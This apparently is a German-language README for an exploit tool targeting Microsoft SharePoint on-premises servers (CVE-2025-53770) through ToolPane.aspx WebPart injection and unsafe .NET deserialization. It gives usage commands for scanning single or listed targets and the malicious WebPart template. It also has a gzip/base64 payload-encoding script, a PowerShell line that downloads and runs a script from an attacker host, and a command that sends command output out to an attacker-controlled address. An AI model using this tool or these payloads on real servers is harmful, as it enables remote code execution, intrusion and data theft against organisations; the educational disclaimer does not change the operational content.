
SharePoint WebPart Injection Exploit Tool
🍕 Exploit-Tool für SharePoint WebPart Injection über ToolPane.aspx, das zu .NET-Deserialisierung und möglicher Remote-Codeausführung (RCE) führt.
Entwickelt von: @GOTOCVE
Dieses Tool nutzt eine Schwachstelle in Microsoft SharePoint (On-Premises) aus, die es authentifizierten Benutzern ermöglicht, den Endpunkt ToolPane.aspx zu missbrauchen und schädliche WebParts mit GZIP-komprimierten serialisierten .NET-Objekten zu injizieren.
Das injizierte Objekt wird im Parameter MSOTlPn_SelectedWpId platziert und in ein gefälschtes WebPart (wie <Scorecard:ExcelDataSet>) eingebettet, das vom SharePoint-Backend geparst und deserialisiert wird.
| Produkt | Betroffene Versionen |
|---|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
exploit.pyMultithreaded SharePoint-Exploit-Tool für CVE-2025-53770.
/ToolPane.aspxYSLosf.exeLosFormatter Payload Generator & Deserializer.
python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe auszuführen)Ihr Payload muss Folgendes sein:
DataSet, ObjectDataProvider)LosFormatter oder BinaryFormatter serialisiertEingebettet in ein WebPart wie:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosfFügen Sie Ihren Befehl (z.B. Reverse Shell) in payload.txt ein:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialisierte Zeichenfolge:
/wEFBWZsdG1j
Base64-codiert:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialisiertes Objekt:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
Speichern Sie die Ausgabe in payload-final.txt und übergeben Sie sie an das Exploit-Tool.
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatterDiese Schwachstelle gibt keine Ausgabe (z.B. ipconfig) in der Antwort zurück. Sie müssen:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
Dieses Tool dient ausschließlich zu Bildungszwecken und autorisierten Sicherheitstests.
Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Erlaubnis. Missbrauch kann illegal und unethisch sein.
Wenn ein anfälliger Server das Payload akzeptiert und MSOTlPn_SelectedWpId zurückgibt oder die Seite mit dem injizierten WebPart rendert, ist er wahrscheinlich ausnutzbar. Keine Ausgabe bedeutet, dass die Deserialisierung fehlgeschlagen ist oder der Server es gepatcht hat.
Dieses Tool liefert und führt keinen Shellcode, keine Web-Shell aus.
Es demonstriert lediglich die Ausnutzung der .NET-Deserialisierungsschwachstelle (CVE-2025-53770) über den anfälligen Endpunkt ToolPane.aspx unter Verwendung einer schädlichen WebPart-Struktur, die ein GZIP-komprimiertes .NET-Objekt enthält.
🔹 Zweck: Forschern, Red Teams und Verteidigern zu helfen, anfällige SharePoint-Server zu erkennen und den Injektionsvektor sicher mit benutzerdefinierten Payloads zu testen.
🔹 Payloads: Das Tool erfordert, dass Benutzer ihre eigenen Payloads generieren (z.B. mit YSLosf.exe), die als Base64-codierte GZIP-Strings in das WebPart eingebettet werden.
Es liegt in der Verantwortung des Benutzers, geeignete und ethische Payloads auszuwählen (wie harmlose calc.exe-Ausführung, Beacon-Marker usw.).
🔹 Keine Reverse-Shells/Web-Shells enthalten:
Obwohl Angreifer in freier Wildbahn Web-Shells wie spinstall0.aspx ablegen könnten, enthält dieses Projekt keine solche Logik.
Wenn Sie eine Reverse-Shell ausliefern möchten, müssen Sie Ihr eigenes Payload manuell generieren und die volle Verantwortung für dessen Nutzung übernehmen.
Treten Sie @GOTOCVE auf Telegram bei:
Erstellt von Ali Soltani
Für Forschungsanfragen oder Fehlermeldungen kontaktieren Sie uns über Telegram
| Feld | Wert |
|---|
| Komponente | Microsoft SharePoint (On-Premises) |
| Endpunkt | /layouts/15/ToolPane.aspx |
| Parameter | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| Problem | Unsichere .NET-Deserialisierung |
| CVE | CVE-2025-53770 |
| Argument | Beschreibung |
|---|
-u | Ziel-URL (z.B. https://sp.company.local) |
-f | Datei mit Ziel-URLs (eine pro Zeile) |
-p | Payload-Datei oder direkter Base64-GZIP-String |
--proxy | Optionaler Proxy (z.B. http://127.0.0.1:8080) |
-t | Timeout in Sekunden (Standard: 15) |